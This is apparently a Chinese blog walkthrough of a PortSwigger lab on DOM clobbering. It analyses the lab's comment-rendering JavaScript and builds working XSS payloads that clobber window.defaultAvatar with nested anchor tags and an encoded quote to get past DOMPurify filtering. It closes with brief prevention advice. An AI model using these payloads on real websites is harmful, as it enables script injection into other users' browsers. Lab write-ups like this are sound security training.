【网络安全】XSS漏洞——PortSwigger靶场-DOM破坏

目录

一、环境

[二、利用 DOM 破坏来启用 XSS](#二、利用 DOM 破坏来启用 XSS)

[2.1 源代码分析](#2.1 源代码分析)

[2.2 构造 defaultAvatar](#2.2 构造 defaultAvatar)

[2.3 payload](#2.3 payload)

三、总结


一、环境

实验室:利用 DOM 破坏来启用 XSS |网络安全学院

二、利用 DOM 破坏来启用 XSS

进入环境是一个博客,有评论的功能,围绕主题存在XSS漏洞,那么先尝试测试下XSS。

Email存在正则,允许的HTML部分使用<textarea>标签插入也没什么区别。

按照提示,提交上去看看什么情况。发现被过滤掉了,我们提交的只留下了<img src=1>部分,onerror事件没有了。

现在需要考虑的是怎么去找危害的代码,来看一下源代码。 发现使用了DOMPurify框架,这个框架是一个前端过滤框架用来防御DOMxss,这个框架很强大绕过的概率几乎为零。

2.1 源代码分析

那么就从源代码中找找是否有漏洞存在。当从form表单中提交到了"/post/comment",后端代码又看不到。现在只能找 js 中存在DOM破坏的地方。其中:

<script src='/resources/js/loadCommentsWithDomClobbering.js'></script>来进行源代码分析。

javascript 复制代码
function loadComments(postCommentPath) {
    let xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            let comments = JSON.parse(this.responseText);
            displayComments(comments);
        }
    };
    xhr.open("GET", postCommentPath + window.location.search);
    xhr.send();

    function escapeHTML(data) {
        return data.replace(/[<>'"]/g, function(c){
            return '&#' + c.charCodeAt(0) + ';';
        })
    }

    function displayComments(comments) {
        let userComments = document.getElementById("user-comments");

        for (let i = 0; i < comments.length; ++i)
        {
            comment = comments[i];
            let commentSection = document.createElement("section");
            commentSection.setAttribute("class", "comment");

            let firstPElement = document.createElement("p");

            let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}
            let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';

            let divImgContainer = document.createElement("div");
            divImgContainer.innerHTML = avatarImgHTML

            if (comment.author) {
                if (comment.website) {
                    let websiteElement = document.createElement("a");
                    websiteElement.setAttribute("id", "author");
                    websiteElement.setAttribute("href", comment.website);
                    firstPElement.appendChild(websiteElement)
                }

                let newInnerHtml = firstPElement.innerHTML + DOMPurify.sanitize(comment.author)
                firstPElement.innerHTML = newInnerHtml
            }

            if (comment.date) {
                let dateObj = new Date(comment.date)
                let month = '' + (dateObj.getMonth() + 1);
                let day = '' + dateObj.getDate();
                let year = dateObj.getFullYear();

                if (month.length < 2)
                    month = '0' + month;
                if (day.length < 2)
                    day = '0' + day;

                dateStr = [day, month, year].join('-');

                let newInnerHtml = firstPElement.innerHTML + " | " + dateStr
                firstPElement.innerHTML = newInnerHtml
            }

            firstPElement.appendChild(divImgContainer);

            commentSection.appendChild(firstPElement);

            if (comment.body) {
                let commentBodyPElement = document.createElement("p");
                commentBodyPElement.innerHTML = DOMPurify.sanitize(comment.body);

                commentSection.appendChild(commentBodyPElement);
            }
            commentSection.appendChild(document.createElement("p"));

            userComments.appendChild(commentSection);
        }
    }
};

首先可以看到嵌套了两个方法。基于评论下一个过滤、一个展示、一个载入。其中单双引号和尖括号过滤成了实体编码。

可以看到form表单提交到了loadComments函数里面去了。

然后就是loadComments会请求postCommentPath和window.location.search。window.location是请求的地址栏,search就是请求的参数。

提交完form表单之后就会返回然后走进displayComments进行展示。然后获取所有comments进行循环,会创建一个<p>标签,然后创建的头像和<img>标签,创建div后然后把标签放进div。

分析完了功能,发现这个头像如果不存在就是走默认的头像。然后会写一个<img>标签其中src可能会存在问题的,src是可以触发 xss 的。

javascript 复制代码
let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}
let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';

很简单 src 下是表示判断是否有头像,没有的话 defaultAvatar.avatar 的取值就是取 avatar 的默认值。那么如果能取到 window.defaultAvatar 就有可能可以闭合 src。window.defaultAvatar 能够自己构造吗?显然可以<img name=defaultAvatar>那么window.defaultAvatar就会把name给取出来。就是很典型的DOM破坏。

2.2 构造 defaultAvatar

那怎么去构造 defaultAvatar ?可以用 DomClobbering 来控制 window.defaultAvatar,只要我们原来没有头像就可以构造⼀个 defaultAvatar.avatar 进行 XSS 了。这是⼀个两层的层级关系,我们可以用 HTMLCollection 来操作。

html 复制代码
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="author" content="system">
    <meta name="keyframes" content="whoami">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>

<body>
    <a id=defaultAvatar><a id=defaultAvatar name=avatar href="1" onerror=alert(1)//"></a>
</body>
<script>
    console.log(defaultAvatar)

通过打印调试,是一个集合。我们通过 x.y 的形式能够取出<a>标签。当我们用 alert 会自动进行转码,转码后会把 href 后的给取出来。此时 defaultAvatar 就走到我们上传的投头像,defaultAvatar 现在是我们构造的。defaultAvatar.avatar 就是我们 href 的值。

2.3 payload

现在需要闭合双引号和写入 onerror。此时闭合双引号有个问题,就是 href 中需要有双引号才能闭合。想要逃脱双引号控制,我们的href必须要有双引号,要不然 onerror 写进 src中没什么用。

此时我们的双引号需要进行HTML实体编码,用URL编码的话浏览器会报错。

payload:

html 复制代码
<a id=defaultAvatar><a id=defaultAvatar name=avatar href="1&quot;onerror=alert(1)//">

不一样了,没出发onerror事件,此时我们在评论一次。发现头像已经被覆盖了。但是双引号被url编码了。

此时使用不存在的伪协议 如cid,成功触发 XSS。

html 复制代码
<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">

三、总结

本章内容学西了DOM破坏漏洞。Dom Clobbering 就是⼀种将HTML代码注入页面中以操纵DOM并最终更改页面上 JavaScript 的技术。在无法直接XSS的情况下,我们就可以往DOMClobbering 方向考虑。通过自己自定义属性来构造元素从而覆盖掉原来的元素。也了解了前端的过滤框架DOMPurify框架。

如何防止DOM破坏攻击:

可以通过实施检查来确保对象或函数符合期望,从而防止 DOM 破坏攻击。例如,可以检查 DOM 节点的属性属性实际上是的实例。这确保了该属性是属性属性,而不是被破坏的 HTML 元素。检查对象和函数是否合法。如果要过滤 DOM,请确保检查对象或函数不是 DOM 节点。

相关推荐
咪咕科技37 分钟前
平安产险青海分公司助力国家电投黄河公司安全生产
安全
CodeTransfer1 小时前
css中animation与js的绑定原来还能这样玩。。。
前端·javascript
岛屿旅人1 小时前
欧盟《人工智能法案》生效一年主要实施进展概览(一)
网络·人工智能·安全·web安全·网络安全
dingzd951 小时前
共识算法如何保障网络安全
web安全·web3·区块链·facebook·共识算法·tiktok·instagram
言之。2 小时前
Web技术构建桌面应用-Tauri框架和Electron框架
前端·javascript·electron
萌萌哒草头将军2 小时前
Node.js v24.7.0 新功能预览 🚀🚀🚀
前端·javascript·node.js
程序员张32 小时前
Vue3+ElementPlus—高效存储和回显多选项的状态值
javascript·vue.js·前端框架
艾小码3 小时前
90%前端忽略的3大内存黑洞,这样根治性能飙升300%!
前端·javascript·性能优化
GISer_Jing3 小时前
React Native核心技术深度解析_Trip Footprints
javascript·react native·react.js
Mintopia3 小时前
AIGC 多模态大模型在 Web 场景中的融合技术与挑战
前端·javascript·aigc